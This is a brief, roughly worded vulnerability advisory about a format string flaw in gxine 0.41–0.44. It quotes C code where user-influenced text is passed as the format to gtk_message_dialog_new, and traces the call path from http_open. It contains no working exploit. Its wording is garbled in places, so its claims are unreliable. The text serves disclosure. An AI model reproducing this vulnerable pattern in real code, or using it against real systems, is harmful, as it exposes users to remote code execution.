Systems affected:

gxine 0.44 0.43 0.42 0.41

no affected

no all exploitable

1:why: it is a http hostname format strings vuln. new firefox can run gxine in many linux DS...

so very dangerous!!!!!!

2:tips:

void v_display_message (const gchar *title, GtkMessageType type,
const gchar *fmt, va_list ap)
{
GtkWidget *dialog;
gchar *msg;
gboolean modal = (fmt == NULL);

if (modal)
fmt = va_arg (ap, const gchar *);

msg = g_strdup_vprintf (fmt, ap);
va_end (ap);

dialog = gtk_message_dialog_new (NULL, GTK_DIALOG_DESTROY_WITH_PARENT, type,
GTK_BUTTONS_CLOSE, msg); boom ...GTK_BUTTONS_CLOSE,(((((%s))))) msg

gtk_window_set_title (GTK_WINDOW (dialog), title);
gtk_window_set_position (GTK_WINDOW (dialog), GTK_WIN_POS_CENTER);

if (modal)
gtk_window_set_modal (GTK_WINDOW(dialog), TRUE);

g_signal_connect (G_OBJECT (dialog), "response",
G_CALLBACK (response_cb), NULL);
g_object_set_data (G_OBJECT (dialog), "msg", msg);
gtk_widget_show (dialog);
}

v_display_message ()--- display_error" many other func" ()----display_error" many other func" ()
---report_error ()---http_open ()
